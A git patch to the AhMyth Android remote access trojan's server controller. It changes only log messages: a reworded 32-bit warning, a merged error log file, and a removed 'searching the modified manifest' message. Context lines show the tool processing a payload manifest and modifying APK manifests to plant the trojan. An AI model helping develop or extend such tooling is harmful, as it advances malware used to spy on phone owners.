From ce9793cced621a6ef1cc29dcfdbf94ae403fc66d Mon Sep 17 00:00:00 2001 From: morsmalleo Date: Wed, 23 Aug 2023 11:43:17 +0800 Subject: [PATCH] Update error logging for promisified building --- AhMyth-Server/app/app/assets/js/controllers/AppCtrl.js | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/AhMyth-Server/app/app/assets/js/controllers/AppCtrl.js b/AhMyth-Server/app/app/assets/js/controllers/AppCtrl.js index 9ea4eb577..e86989676 100644 --- a/AhMyth-Server/app/app/assets/js/controllers/AppCtrl.js +++ b/AhMyth-Server/app/app/assets/js/controllers/AppCtrl.js @@ -154,7 +154,7 @@ app.controller("AppCtrl", ($scope) => { const architecture = process.arch; if (architecture === 'ia32') { - delayedLog('[!] WARNING: AhMyth will be deprecated for all Operating Systems using 32bit architectures when Apktool reaches v3.0.0.', CONSTANTS.logStatus.WARNING); + delayedLog('[!] WARNING: AhMyth wWill Cease Support for All 32bit Systems Once Apktool reaches v3.0.0.', CONSTANTS.logStatus.WARNING); } else { delayedLog('[★] Welcome to AhMyth Android R.A.T', CONSTANTS.logStatus.SUCCESS); delayedLog('————————————————————————————————————', CONSTANTS.logStatus.SUCCESS); @@ -313,9 +313,8 @@ app.controller("AppCtrl", ($scope) => { } catch (error) { delayedLog('[x] Error occurred while processing the Payload Manifest:', CONSTANTS.logStatus.FAIL); - writeErrorLog(error, - 'Parsing'); - delayedLog('[¡] Error written to "Parsing.log" on', + writeErrorLog(error); + delayedLog('[¡] Error written to "Error.log" on', CONSTANTS.logStatus.INFO); delayedLog(logPath, CONSTANTS.logStatus.INFO); @@ -801,8 +800,6 @@ app.controller("AppCtrl", ($scope) => { return; } - delayedLog('[★] Searching the Modified Android Manifest for a Suitable Main Class...'); - const launcherActivity = getLauncherActivity(result, apkFolder); if (launcherActivity === -1) { delayedLog('[x] Cannot Locate a Suitable Main Class in the Manifest!', CONSTANTS.logStatus.FAIL);